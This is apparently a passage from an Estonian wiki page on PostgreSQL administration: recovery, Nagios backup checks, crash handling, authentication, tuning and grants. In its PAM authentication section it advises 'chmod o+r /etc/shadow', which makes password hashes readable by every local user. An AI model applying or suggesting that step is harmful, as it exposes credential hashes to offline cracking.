  2009-04-24 22:15:16 EEST    2655  49f20e37.a5f  155 2009-04-24 22:08:39 EEST 0 LOG:  selected new timeline ID: 5&lt;br /&gt;
  2009-04-24 22:15:16 EEST    2655  49f20e37.a5f  156 2009-04-24 22:08:39 EEST 0 LOG:  restored log file &amp;quot;00000004.history&amp;quot; from archive&lt;br /&gt;
  2009-04-24 22:15:17 EEST    2655  49f20e37.a5f  157 2009-04-24 22:08:39 EEST 0 LOG:  archive recovery complete&lt;br /&gt;
  2009-04-24 22:15:46 EEST    2653  49f20e36.a5d  2 2009-04-24 22:08:38 EEST 0 LOG:  database system is ready to accept connections&lt;br /&gt;
&lt;br /&gt;
Ajahetkeni taastamisel peab arvestama, et see aega saab olla peale pg_stop_backup ütlemise ajahetke ja arusaadaval ei saa see olla hilisem kui on kasutada wal logisid.&lt;br /&gt;
&lt;br /&gt;
====Varundamise monitooring Nagiose passiivse kontrolliga====&lt;br /&gt;
&lt;br /&gt;
Varundamise skript lõppu tuleb lisada&lt;br /&gt;
&lt;br /&gt;
 if [ $ec_psql -eq 0 ] &amp;amp;&amp;amp; [ $ec_rsync -eq 0 -o $ec_rsync -eq 24 ]; then&lt;br /&gt;
   echo -e &amp;quot;db.loomaaed\tbackup\t0\tbackup korras&amp;quot; | send_nsca -c /etc/send_nsca.cfg -H mon.loomaaed -p 5667&lt;br /&gt;
 else&lt;br /&gt;
   echo -e &amp;quot;db.loomaaed\tbackup\t2\tbackup katki&amp;quot; | send_nsca -c /etc/send_nsca.cfg -H mon.loomaaed -p 5667&lt;br /&gt;
 fi&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* juhtumil kui psql või rsync käsud on õnnestunud saadatetakse korras nagiosele signaal&lt;br /&gt;
* juhtumil kui psql või rsync käsud on õnnestunud saadatetakse katki nagiosele signaal&lt;br /&gt;
&lt;br /&gt;
ning Nagioses kirjeldada passiivne kontroll&lt;br /&gt;
&lt;br /&gt;
 define service {  &lt;br /&gt;
   host_name                  www-1.auul &lt;br /&gt;
   service_description        backup&lt;br /&gt;
   use                        passive-generic-service&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
===Andmebaasi UTF-8 kodeeringuvigade parandamine===&lt;br /&gt;
&lt;br /&gt;
Järnev skript kontrollib sisendisse antud sql dump faili vastavust utf8 kodeeringule ning väljastab vigaste kirjete kohta andmed&lt;br /&gt;
&lt;br /&gt;
 #!/usr/bin/python&lt;br /&gt;
 import sys, time&lt;br /&gt;
 &lt;br /&gt;
 rownr = 0&lt;br /&gt;
 t0 = t1 = time.time()&lt;br /&gt;
 next = sys.stdin.readline&lt;br /&gt;
 &lt;br /&gt;
 errors = open('utf8errors.log','w')&lt;br /&gt;
 &lt;br /&gt;
 while 1:&lt;br /&gt;
     row = next()&lt;br /&gt;
     if not row:&lt;br /&gt;
         break&lt;br /&gt;
     try:&lt;br /&gt;
         urow = row.decode('utf8')&lt;br /&gt;
     except:&lt;br /&gt;
         print row&lt;br /&gt;
         errors.write(row)&lt;br /&gt;
     rownr += 1&lt;br /&gt;
     if rownr % 1000000 == 0:&lt;br /&gt;
         t2 = time.time()&lt;br /&gt;
         print rownr, t2 - t1, t2 - t0&lt;br /&gt;
         t1 = t2&lt;br /&gt;
 &lt;br /&gt;
 print 'Done!'&lt;br /&gt;
 t2 = time.time()&lt;br /&gt;
 print rownr, t2 - t1, t2 - t0&lt;br /&gt;
&lt;br /&gt;
Kasutamine toimub öeldes&lt;br /&gt;
&lt;br /&gt;
  $ cat dump.sql | ./utf8check.py&lt;br /&gt;
&lt;br /&gt;
===Misc===&lt;br /&gt;
&lt;br /&gt;
* show &amp;lt;tab&amp;gt; - esitab nimekirja võimalikest küsimustest, nt&lt;br /&gt;
&lt;br /&gt;
  show max_connections;&lt;br /&gt;
  max_connections &lt;br /&gt;
 -----------------&lt;br /&gt;
  100&lt;br /&gt;
 (1 row)&lt;br /&gt;
&lt;br /&gt;
* Andmebaasi poolt failisüsteemis kasutatud mahu küsimine, sisaldab indekseid&lt;br /&gt;
&lt;br /&gt;
 sql&amp;gt; SELECT pg_size_pretty(pg_database_size('andmebaasinimi')) As fulldbsize;&lt;br /&gt;
&lt;br /&gt;
* Tabeli suuruse küsimine&lt;br /&gt;
&lt;br /&gt;
 sql&amp;gt; SELECT pg_size_pretty(pg_total_relation_size('skeeminimi.tabelinimi')) As fulltblsize, \&lt;br /&gt;
   pg_size_pretty(pg_relation_size('skeeminimi.tabelinimi')) As justthetblsize;&lt;br /&gt;
&lt;br /&gt;
* Kui andmebaasi vacuumil esineb anomaaliaid, siis võib olla abiks baasi vacuumimine tabeli kaupa. Tabelite nimekirja saab küsida andmebaasilt öeldes&lt;br /&gt;
&lt;br /&gt;
 $ psql -U postgres -h hostname -c &amp;quot;select n.nspname||'.'||c.relname from pg_class c join pg_namespace n on \&lt;br /&gt;
   (c.relnamespace=n.oid) where relkind='r' order by 1;&amp;quot; baasinimi &amp;gt; vacuum-tabelid.txt&lt;br /&gt;
&lt;br /&gt;
ning saadud nimekirja abil toimub vakumeerimine öeldes&lt;br /&gt;
&lt;br /&gt;
 $ for i in `cat vacuum-tabelid.txt`; do psql -c &amp;quot;vacuum verbose analyze $i&amp;quot; -U postgres -h hostname -p5432 baasinimi \&lt;br /&gt;
   1&amp;gt; $i-1.log 2&amp;gt; $i-2.log; sleep 5; done&lt;br /&gt;
&lt;br /&gt;
* v. 8.4 - failinime järgi tabeli leidmine, kui failisüsteemis on suured failid ja tekib küsimus, millise tabeliga on nad seotud, sobib öelda nii&lt;br /&gt;
&lt;br /&gt;
 $ du -sk /data/postgresql/8.4/main/base/16400/* | sort -n | tail -n 4&lt;br /&gt;
 1049604 /data/postgresql/8.4/main/base/16400/195106.6&lt;br /&gt;
 1049604 /data/postgresql/8.4/main/base/16400/195106.7&lt;br /&gt;
 1049604 /data/postgresql/8.4/main/base/16400/195106.8&lt;br /&gt;
 1049604 /data/postgresql/8.4/main/base/16400/195106.9&lt;br /&gt;
&lt;br /&gt;
 $ /usr/lib/postgresql/8.4/bin/oid2name -H 127.0.0.1 -U postgres -d loomaaed -f 195106 -x&lt;br /&gt;
 From database &amp;quot;loomaaed&amp;quot;:&lt;br /&gt;
  Filenode       Table Name     Oid    Schema  Tablespace&lt;br /&gt;
 ---------------------------------------------------------&lt;br /&gt;
    195106  pg_toast_195103  195106  pg_toast  pg_default&lt;br /&gt;
&lt;br /&gt;
 $ /usr/lib/postgresql/8.4/bin/oid2name -H 127.0.0.1 -U postgres -d loomaaed -f 195103 -x&lt;br /&gt;
 From database &amp;quot;loomaaed&amp;quot;:&lt;br /&gt;
  Filenode             Table Name    Oid  Schema  Tablespace&lt;br /&gt;
 ------------------------------------------------------------&lt;br /&gt;
    195103  tabelinimi  74224  wizard  pg_default&lt;br /&gt;
&lt;br /&gt;
Tulumusena on teada, et 195106.6 fail on seotud wizard.tabelinimi tabeliga.&lt;br /&gt;
&lt;br /&gt;
* v. 9.4 - failinime järgi tabeli leidmine, kui failisüsteemis on suured failid ja tekib küsimus, millise tabeliga on nad seotud, sobib öelda nii&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# \c baasinimi&lt;br /&gt;
baasinimi=# select pg_filenode_relation(0,233328054);&lt;br /&gt;
 pg_filenode_relation &lt;br /&gt;
----------------------&lt;br /&gt;
 baasinimi&lt;br /&gt;
(1 row)&lt;br /&gt;
&lt;br /&gt;
baasinimi=# select pg_relation_filepath('tabelinimi');&lt;br /&gt;
 pg_relation_filepath &lt;br /&gt;
----------------------&lt;br /&gt;
 base/16424/233328054&lt;br /&gt;
(1 row)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Andmebaasi krahh===&lt;br /&gt;
&lt;br /&gt;
Andmebaasi krahh (ingl. k. crash) on selline olukord kus andmebaasi töö on lõppenud ilma nö normaalselt andmebaasi protsesse seisates, nt öeldes&lt;br /&gt;
&lt;br /&gt;
 # pg_ctlcluster 9.2 main stop&lt;br /&gt;
&lt;br /&gt;
Krahh võivad tekkida nt järgmistel juhtudel&lt;br /&gt;
&lt;br /&gt;
* seoses operatsioonisüsteemi krahhiga (nt arvutil kaob toide)&lt;br /&gt;
* andmefailide failisüsteem saab täis&lt;br /&gt;
* andmebaasi ise või mõni moodul kasutab mälu valesti ja kogu baasi töö lõpetatakse (andmebaasi teeb endale ise restardi)&lt;br /&gt;
&lt;br /&gt;
====Anmdmebaasi käivitamine peale krahhi====&lt;br /&gt;
&lt;br /&gt;
Üldiselt PostgreSQL andmebaas ei lähe krahhi tulemusena katki, andmebaas kasutab failisüsteemi sellisel viisil, et järgmisel käivitamisel jõuab baas viimase töötava seisuni (transaktsioonini) ja jätkab sealt. Midagi erilist pole teha vaja lisaks tavalisele baasi käivitamisel, logisse kirjutatakse seejuures&lt;br /&gt;
&lt;br /&gt;
 TODO&lt;br /&gt;
&lt;br /&gt;
====Krahh PITR varundamise ajal====&lt;br /&gt;
&lt;br /&gt;
Kui enamusel juhtudel peale krahhi toimumist piisab andmebaas tavalisel moel käivitada ja ta jätkab tööd, siis PITR backupi (st pg_start_backup/pg_stop_backup) tegemise ajal toimunud krahhi puhul on andmeklastri kataloogis ees fail, mis segab käivitumist&lt;br /&gt;
&lt;br /&gt;
 /data/postgresql/backup_label&lt;br /&gt;
&lt;br /&gt;
Samal ajal öeldakse logisse&lt;br /&gt;
&lt;br /&gt;
 2013-03-20 12:10:25 EET    15966  51498b11.3e5e  1 2013-03-20 12:10:25 EET 0 LOG:  database system was interrupted; last known up at 2013-03-20 12:10:09 EET&lt;br /&gt;
 2013-03-20 12:10:25 EET    15966  51498b11.3e5e  2 2013-03-20 12:10:25 EET 0 LOG:  could not open file &amp;quot;pg_xlog/00000001000005E600000008&amp;quot; (log file 1510, segment 8): \&lt;br /&gt;
   No such file or  directory&lt;br /&gt;
 2013-03-20 12:10:25 EET    15966  51498b11.3e5e  3 2013-03-20 12:10:25 EET 0 LOG:  invalid checkpoint record&lt;br /&gt;
 2013-03-20 12:10:25 EET    15966  51498b11.3e5e  4 2013-03-20 12:10:25 EET 0 PANIC:  could not locate required checkpoint record&lt;br /&gt;
 2013-03-20 12:10:25 EET    15966  51498b11.3e5e  5 2013-03-20 12:10:25 EET 0 HINT:  If you are not restoring from a backup, try removing the file &amp;quot;/data/postgresql/backup_label&amp;quot;.&lt;br /&gt;
 2013-03-20 12:10:25 EET batchmanager portaal 127.0.0.1(50593) 15969  51498b11.3e61  1 2013-03-20 12:10:25 EET 0 FATAL:  the database system is in recovery mode&lt;br /&gt;
 2013-03-20 12:10:25 EET eit1 xportal 10.100.6.75(55188) 15970  51498b11.3e62  1 2013-03-20 12:10:25 EET 0 FATAL:  the database system is in recovery mode&lt;br /&gt;
 2013-03-20 12:10:25 EET    21687  513baab9.54b7  37 2013-03-09 23:33:45 EET 0 LOG:  startup process (PID 15966) was terminated by signal 6: Aborted&lt;br /&gt;
 2013-03-20 12:10:25 EET    21687  513baab9.54b7  38 2013-03-09 23:33:45 EET 0 LOG:  aborting startup due to startup process failure&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* on näha, et baasi käivitamisega on probleem&lt;br /&gt;
* HINT annab teada, mida teha, tuleb eemaldada pg_start_backup() ütlemisega tekitatud fail backup_label&lt;br /&gt;
&lt;br /&gt;
 $ rm /data/postgresql/backup_label&lt;br /&gt;
&lt;br /&gt;
Seejärel võib baasi tavapärasel viisil edasi kasutada&lt;br /&gt;
&lt;br /&gt;
====Krahhi uurimine====&lt;br /&gt;
&lt;br /&gt;
* Kui nt PL keeles tehtud protseduur kasutab mõnda teeki, mis omakorda kasutab mõnda teeki, mida aga failisüsteemis ei ole, siis tavaliselt andmebaas crashib teatega&lt;br /&gt;
&lt;br /&gt;
 2010-05-24 16:10:09 EEST    21463  4bf28ed8.53d7  3 2010-05-18 15:58:00 EEST 0 LOG:  server process (PID 32188) exited with exit code 12&lt;br /&gt;
 2010-05-24 16:10:09 EEST    21463  4bf28ed8.53d7  4 2010-05-18 15:58:00 EEST 0 LOG:  terminating any other active server processes&lt;br /&gt;
&lt;br /&gt;
Põhjusele võib aidata jälile jõuda mainitud PID väärtust eestpoolt logist otsides, nt antud juhtumil&lt;br /&gt;
&lt;br /&gt;
 2010-05-24 16:01:19 EEST gateway portaal 127.0.0.1(57375) 32188 SELECT 4bfa789f.7dbc SELECT 1 2010-05-24 16:01:19 EEST 0 \&lt;br /&gt;
   WARNING:  error from Perl function &amp;quot;sqlora&amp;quot;: install_driver(Oracle) failed: Can't load&lt;br /&gt;
   '/usr/local/lib/perl/5.8.8/auto/DBD/Oracle/Oracle.so' for module DBD::Oracle: libclntsh.so.10.1: cannot open shared object file: \&lt;br /&gt;
   No such file or directory at /usr/lib/perl/5.8/DynaLoader.pm line 225.&lt;br /&gt;
         at line 5&lt;br /&gt;
        Compilation failed in require at line 3.&lt;br /&gt;
        Perhaps a required shared library or dll isn't installed where expected&lt;br /&gt;
         at line 11&lt;br /&gt;
 2010-05-24 16:01:19 EEST gateway portaal 127.0.0.1(57375) 32188 SELECT 4bfa789f.7dbc SELECT 2 2010-05-24 16:01:19 EEST 0 \&lt;br /&gt;
   CONTEXT:  PL/pgSQL function &amp;quot;low&amp;quot; line 2 at RETURN&lt;br /&gt;
        PL/pgSQL function &amp;quot;field&amp;quot; line 335 at assignment&lt;br /&gt;
        PL/pgSQL function &amp;quot;sisu&amp;quot; line 502 at assignment&lt;br /&gt;
        PL/pgSQL function &amp;quot;show&amp;quot; line 56 at assignment&lt;br /&gt;
 Out of memory!&lt;br /&gt;
&lt;br /&gt;
===Andmebaasi monitooring===&lt;br /&gt;
&lt;br /&gt;
* Üheks andmebaasi oluliseks andmebaasi seisundit iseloomustavaks näitajaks on kui kaugel ta on nn wraparound ajast, arv peab olema alati alla 2g ja seda hoiab väiksena korrapärane andmebaasi vakumeerimine&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; SELECT relname, age(relfrozenxid) FROM pg_class WHERE relkind = 'r';&lt;br /&gt;
 SQL&amp;gt; SELECT datname, age(datfrozenxid) FROM pg_database;&lt;br /&gt;
&lt;br /&gt;
* Andmebaasi sisemisi näitajaid sobib kasutada Cactiga graafikute joonistamiseks või Nagiosegaga alarmi saatmiseks, nt http://bucardo.org/wiki/Check_postgres.&lt;br /&gt;
&lt;br /&gt;
Kasulikud materjalid&lt;br /&gt;
&lt;br /&gt;
* http://kuutorvaja.eenet.ee/wiki/Nagiose_kasutamine_Debian_Lenniga#PostgreSQL&lt;br /&gt;
&lt;br /&gt;
===Failisüsteemi kasutamine===&lt;br /&gt;
&lt;br /&gt;
Tekst http://www.postgresql.org/docs/9.0/static/storage-file-layout.html kirjeldab kuidas PostgreSQL andmebaas kasutab failisüsteemi&lt;br /&gt;
&lt;br /&gt;
 faili-või kataooginimi	  Kirjeldus&lt;br /&gt;
 PG_VERSION	          A file containing the major version number of PostgreSQL&lt;br /&gt;
 base	                  Subdirectory containing per-database subdirectories&lt;br /&gt;
 global	                  Subdirectory containing cluster-wide tables, such as pg_database&lt;br /&gt;
 pg_clog	          Subdirectory containing transaction commit status data&lt;br /&gt;
 pg_multixact	          Subdirectory containing multitransaction status data (used for shared row locks)&lt;br /&gt;
 pg_notify	          Subdirectory containing LISTEN/NOTIFY status data&lt;br /&gt;
 pg_stat_tmp	          Subdirectory containing temporary files for the statistics subsystem&lt;br /&gt;
 pg_subtrans	          Subdirectory containing subtransaction status data&lt;br /&gt;
 pg_tblspc	          Subdirectory containing symbolic links to tablespaces&lt;br /&gt;
 pg_twophase         	  Subdirectory containing state files for prepared transactions&lt;br /&gt;
 pg_xlog	          Subdirectory containing WAL (Write Ahead Log) files&lt;br /&gt;
 postmaster.opts	  A file recording the command-line options the server was last started with&lt;br /&gt;
 postmaster.pid	          A lock file recording the current server PID and shared memory segment ID (not present after server shutdown&lt;br /&gt;
&lt;br /&gt;
Andmebaaside OID väärtusi kasutadakse failisüteemis kataloogis base asuvate andmebaasidele vastavate kataloogide nimedena&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; SELECT datname, oid FROM pg_database;&lt;br /&gt;
&lt;br /&gt;
Andmebaasi kataloogis asub selliseid faile&lt;br /&gt;
&lt;br /&gt;
* tabelitele ja indeksitele vastavad failid, mille nimedena kasutatakse üldiselt vastavad OID väärtusi&lt;br /&gt;
* tabeli ja indeksi failiga kaasnevad vastavad *_fsm ja *_vm failid, mis on vastavalt free space map ning visibility map&lt;br /&gt;
* kui tabeli 8kB suurusse pagesse ei mahu tabeli rida ära, siis kasutatakse vastavate andmete hoidmiseks TOAST (The Oversized-Attribute Storage Technique) faili&lt;br /&gt;
* kui tabeli on üle 1 GB suur, siis hoitakse vastavaid andmeid OID.1, OID.2 jne nimelistes failides&lt;br /&gt;
&lt;br /&gt;
Tabeli nimi, oid väärtuse, kasutatud 8kB lehted ja tabelis sisalduvate korteežide arvu kohta saab küsida selliselt&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; select relname, oid, relpages, reltuples from pg_class limit 10;&lt;br /&gt;
          relname          |  oid  | relpages | reltuples &lt;br /&gt;
 --------------------------+-------+----------+-----------&lt;br /&gt;
  priidutabel              |  1247 |        7 |       283&lt;br /&gt;
  marditabel               | 11550 |        0 |         0&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
contrib utiliit oid2name abil saab küsida oid väärtusele vastavat tabelinime&lt;br /&gt;
&lt;br /&gt;
 $ /usr/lib/postgresql/8.4/bin/oid2name -H 127.0.0.1 -U postgres -d rsyslog -f 2755 -x &lt;br /&gt;
 From database &amp;quot;loomdb&amp;quot;:&lt;br /&gt;
   Filenode             Table Name   Oid      Schema  Tablespace&lt;br /&gt;
 ---------------------------------------------------------------&lt;br /&gt;
       2755            priidutabel  2755       priit  pg_default&lt;br /&gt;
&lt;br /&gt;
===Kasutaja autentimine===&lt;br /&gt;
&lt;br /&gt;
Vaikimisi toimub andmebaasi kasutaja autentimine selliselt, et&lt;br /&gt;
&lt;br /&gt;
* baasi saab üle võrgu sisse logida baasis kirjeldatud kasutaja oma baasis kirjeldatud parooliga&lt;br /&gt;
* baasi saab lokaalselt sisse logida kasutaja, kelle unix kasutajanimi klapib baasis kirjeldatud kasutajanimega&lt;br /&gt;
&lt;br /&gt;
====Kasutaja autentimine /etc/passwd abil====&lt;br /&gt;
&lt;br /&gt;
Andmebaasi kasutaja autentimiseks nö süsteemi lokaalse kasutajana sobib kasutada pg_hba.conf failis nt rida&lt;br /&gt;
&lt;br /&gt;
 host all all 0.0.0.0/0 pam&lt;br /&gt;
&lt;br /&gt;
ning muuta /etc/shadow faili loabit, seejuures tuleb ise hinnata, kas see muudatus on aktsepteeritav&lt;br /&gt;
&lt;br /&gt;
 # chmod o+r /etc/shadow&lt;br /&gt;
&lt;br /&gt;
====Kasutaja autentimine Kerberosega====&lt;br /&gt;
&lt;br /&gt;
Kerberose kasutaja autentimiseks Kerberosega peab olema kasutada Kerberose infrastruktuur, nt selline nagu kirjeldatud tekstis [[:MIT Kerberose kasutamine Debianiga]]. Lisaks tuleb&lt;br /&gt;
&lt;br /&gt;
* moodustada andmebaasiarvuti PostgreSQL teenusele vastav Kerberose osapool öeldes andmebaasi arvutis kasutajana postgres&lt;br /&gt;
&lt;br /&gt;
 $ kadmin -p root/admin -q &amp;quot;addprinc postgres/postgresql.loomaaed&amp;quot;&lt;br /&gt;
 $ kadmin -p root/admin -q &amp;quot;ktadd -k /etc/postgresql-common/krb5.keytab postgres/postgresql.loomaaed&amp;quot;&lt;br /&gt;
&lt;br /&gt;
* kasutada pg_hba.conf failis sarnast rida&lt;br /&gt;
&lt;br /&gt;
 # TYPE  DATABASE    USER    CIDR-ADDRESS        METHOD&lt;br /&gt;
 ...&lt;br /&gt;
 host    all         all     192.168.10.205/32   gss&lt;br /&gt;
&lt;br /&gt;
Eeldusel, et kerberose kasutaja nimi langeb kokku andmebaasi kasutaja nimega saab seejärel kasutaja andmebaasi sisse logida öeldes tavalisel moel&lt;br /&gt;
&lt;br /&gt;
 $ psql -h postgresql.loomaaed -U priit priit&lt;br /&gt;
&lt;br /&gt;
Samuti toetab PgAdmin3 GSSAPI kasutamist.&lt;br /&gt;
&lt;br /&gt;
====Kasutaja autentimine PAM + LDAP kataloogiga====&lt;br /&gt;
&lt;br /&gt;
Eeldusel, et süsteemis on PAM LDAP backend kasutamine ettevalmistatud sobib PostgreSQL kasutajate LDAP kataloogi vastu autentimiseks&lt;br /&gt;
&lt;br /&gt;
* PostgreSQL pg_hba.conf seadistusfailis kasutada nt rida&lt;br /&gt;
&lt;br /&gt;
 host    all         all        127.0.0.1/32 pam pamservice=postgresql&lt;br /&gt;
&lt;br /&gt;
* /etc/pam.d/postgresql failis kasutada ridu (pamservice parameeter näitab PAM teenuse nime)&lt;br /&gt;
&lt;br /&gt;
 auth    sufficient      pam_ldap.so&lt;br /&gt;
 account sufficient      pam_ldap.so&lt;br /&gt;
&lt;br /&gt;
Oluline on tähele panna, et antud asjakorralduse puhul peab PostgreSQL andmebaasis olema kõnealune kasutaja olemas ja tema privileegid kirjeldatud, ainult autentimine toimub PAM+LDAP abil.&lt;br /&gt;
&lt;br /&gt;
====Kasutaja autentimine Active Directory vastu====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Andmebaasi tuunimine===&lt;br /&gt;
&lt;br /&gt;
Aadressil http://wiki.postgresql.org/wiki/Performance_Optimization on toodud mitmeid viiteid tekstidele, kuidas admebaasi seadistusfaili sobivate seadistuste valimisel suurendada andmebaasi jõudlust.&lt;br /&gt;
&lt;br /&gt;
* shared_buffers - kui arvutis ei tööta muid olulisi protsesse peale andmebaasi, siis võiks selle parameetri väärtus olla 1/4 operatsioonisüsteemi mälust (RAM); seejuures tuleb tõenäoliselt suurendada ka kernel.shmmax parameetri väärtust, nt pooleli ram'ist, nt kui ram on 4g, siis sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # sysctl -w kernel.shmmax=2147483648&lt;br /&gt;
&lt;br /&gt;
Tavaliselt on kernel.shmall väärtus piisavalt suur, see väljendab kogu jagatud mälu suurust süsteemis page ühikutes (4 kB x86 raual); nt 2097152 = 8G&lt;br /&gt;
&lt;br /&gt;
PostgeSQL enda manuaalis on vastavad juhised aadressil http://www.postgresql.org/docs/8.3/interactive/kernel-resources.html.&lt;br /&gt;
&lt;br /&gt;
* max_connections = 750&lt;br /&gt;
* superuser_reserved_connections = 8&lt;br /&gt;
* work_mem - &lt;br /&gt;
* maintainance_work_mem -&lt;br /&gt;
* effective_cache_size - pool arvuti mälu suurusest&lt;br /&gt;
&lt;br /&gt;
shmall ja shmmax arvutamiseks sobib nt selline skript, http://www.postgresql.org/message-id/4D3B1F75.8040405@2ndquadrant.com&lt;br /&gt;
&lt;br /&gt;
 page_size=`getconf PAGE_SIZE`&lt;br /&gt;
 phys_pages=`getconf _PHYS_PAGES`&lt;br /&gt;
 &lt;br /&gt;
 if [ -z &amp;quot;$page_size&amp;quot; ]; then&lt;br /&gt;
   echo Error:  cannot determine page size&lt;br /&gt;
   exit 1&lt;br /&gt;
 fi&lt;br /&gt;
 &lt;br /&gt;
 if [ -z &amp;quot;$phys_pages&amp;quot; ]; then&lt;br /&gt;
   echo Error:  cannot determine number of memory pages&lt;br /&gt;
   exit 2&lt;br /&gt;
 fi&lt;br /&gt;
 &lt;br /&gt;
 shmall=`expr $phys_pages / 2`&lt;br /&gt;
 shmmax=`expr $shmall \* $page_size`&lt;br /&gt;
 &lt;br /&gt;
 echo \# Maximum shared segment size in bytes&lt;br /&gt;
 echo kernel.shmmax = $shmmax&lt;br /&gt;
 echo \# Maximum number of shared memory segments in pages&lt;br /&gt;
 echo kernel.shmall = $shmall&lt;br /&gt;
&lt;br /&gt;
256 GB mäluga arvutis annab ta sellise tulemuse&lt;br /&gt;
&lt;br /&gt;
 # sh shmsetup&lt;br /&gt;
 # Maximum shared segment size in bytes&lt;br /&gt;
 kernel.shmmax = 135512178688&lt;br /&gt;
 # Maximum number of shared memory segments in pages&lt;br /&gt;
 kernel.shmall = 33084028&lt;br /&gt;
&lt;br /&gt;
Debian Wheezy, Ubuntu 12.04 jt keskkondade ja PGDG andmebaasi puhul paigutatakse need parameetrid /etc/sysctl.d/30-postgresql-shm.conf seadistusfaili.&lt;br /&gt;
&lt;br /&gt;
Kui work_mem väärtus on liig väike, siis kasutatakse tmp faile, nende kasutamisest aitab aimu saada log_temp_files parameeter&lt;br /&gt;
&lt;br /&gt;
 #log_temp_files = -1                    # log temporary files equal or larger&lt;br /&gt;
                                         # than the specified size in kilobytes;&lt;br /&gt;
                                         # -1 disables, 0 logs all temp files&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* http://pgtune.leopard.in.ua/&lt;br /&gt;
&lt;br /&gt;
===Logimine===&lt;br /&gt;
&lt;br /&gt;
* Andmebaasi tehtud ühenduste logimiseks sobib kasutada ridu&lt;br /&gt;
&lt;br /&gt;
 log_connections = on&lt;br /&gt;
 log_disconnections = on&lt;br /&gt;
&lt;br /&gt;
* kasutaja päringute logimiseks&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; ALTER USER gateway SET log_statement = 'all';&lt;br /&gt;
&lt;br /&gt;
kuna see täidab tõenäoliselt hästi failisüsteemi, tuleb peale kasutamist logimine uuesti välja lülitada&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; ALTER USER gateway SET log_statement = 'none';&lt;br /&gt;
&lt;br /&gt;
===Märkused===&lt;br /&gt;
&lt;br /&gt;
* pg_dump ei salvesta andmebaasi search_path'i, see peale baasi taastamist tuleb sobiv alter lause eraldi öelda, nt&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; ALTER DATABASE loomaaed SET search_path=loom, lind;&lt;br /&gt;
&lt;br /&gt;
* kasutaja search_path seadmine&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; dvk=# ALTER USER dkk_admin SET search_path = dkk, public;&lt;br /&gt;
&lt;br /&gt;
* Kui andmebaasi arhiivifaili sisselugemisel keelega seotud teegi asukoht muutub, siis sobib teha kas sobib link, nt&lt;br /&gt;
&lt;br /&gt;
 # ln -s /usr/lib/postgresql/8.3/lib/plpgsql.so /usr/local/postgresql/lib/plpgsql.so&lt;br /&gt;
&lt;br /&gt;
või moodustada nö käsitsi vastav keel enne arhiivifaili kasutamist&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; CREATE LANGUAGE plpgsql;&lt;br /&gt;
&lt;br /&gt;
* Suuremate nö bulk-insertide puhul on normaalne, et logisse ilmuvad sellised teated&lt;br /&gt;
&lt;br /&gt;
 2010-06-14 13:40:17 EEST    3260  4c07e97c.cbc  135 2010-06-03 20:42:20 EEST 0 LOG:  checkpoints are occurring too frequently \&lt;br /&gt;
   (21 seconds apart)&lt;br /&gt;
 2010-06-14 13:40:17 EEST    3260  4c07e97c.cbc  136 2010-06-03 20:42:20 EEST 0 HINT:  Consider increasing the configuration \&lt;br /&gt;
   parameter &amp;quot;checkpoint_segments&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
* Kõigile baasi tabelitele, mis võivad asuda erinevates skeemides grantide ütlemine&lt;br /&gt;
&lt;br /&gt;
 $ psql -h 127.0.0.1 -U kasutaja baas -c '\dt' | egrep &amp;quot;data|public|wizard|live&amp;quot; | awk '{ print $1 &amp;quot;.&amp;quot; $3}' &amp;gt; baas.tabelid&lt;br /&gt;
 $ for i in `cat baas.tabelid`; do psql -h 127.0.0.1 -U kasutaja baas -c &amp;quot;GRANT SELECT ON TABLE $i TO grupinimi;&amp;quot;; done&lt;br /&gt;
&lt;br /&gt;
* sequence viimase väärtuse küsimune, last_value asemele võib kirjutada ka *&lt;br /&gt;
&lt;br /&gt;
 baasinimi=# select last_value from skeeminimi.sq_tabelinimi_id;&lt;br /&gt;
 last_value &lt;br /&gt;
 ------------&lt;br /&gt;
    1009492&lt;br /&gt;
 (1 row)&lt;br /&gt;
&lt;br /&gt;
* Kui ühenduste arv (max_connections) on täis, siis logitakse&lt;br /&gt;
&lt;br /&gt;
 2016-07-22 13:49:35 EEST rakendus rakendus 10.100.7.168(38576) 12756 startup 5791fa3f.31d4 startup 1 \&lt;br /&gt;
   2016-07-22 13:49:35 EEST 0 FATAL:  remaining connection slots are reserved for non-replication superuser connections&lt;br /&gt;
&lt;br /&gt;
===Ligipääsude massiline haldamine===&lt;br /&gt;
&lt;br /&gt;
====Skeemid====&lt;br /&gt;
&lt;br /&gt;
Tõenäoliselt saab nii nö päris schemade nimekirja&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; select * from information_schema.schemata where schema_owner != 'postgres';&lt;br /&gt;
&lt;br /&gt;
Kõigile skeemidele portaal_ro non-login rollile USAGE privileegi andmine&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; select 'GRANT USAGE ON ' || schema_name || ' TO portaal_ro;' from information_schema.schemata where schema_owner != 'postgres';&lt;br /&gt;
&lt;br /&gt;
====Tabelid====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====20171017 täiendus====&lt;br /&gt;
&lt;br /&gt;
Skeemi public kõigile tabelitele lugemise ligipääsu andmine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SQL&amp;gt; create role wiki_ro;&lt;br /&gt;
SQL&amp;gt; \c baasinimi&lt;br /&gt;
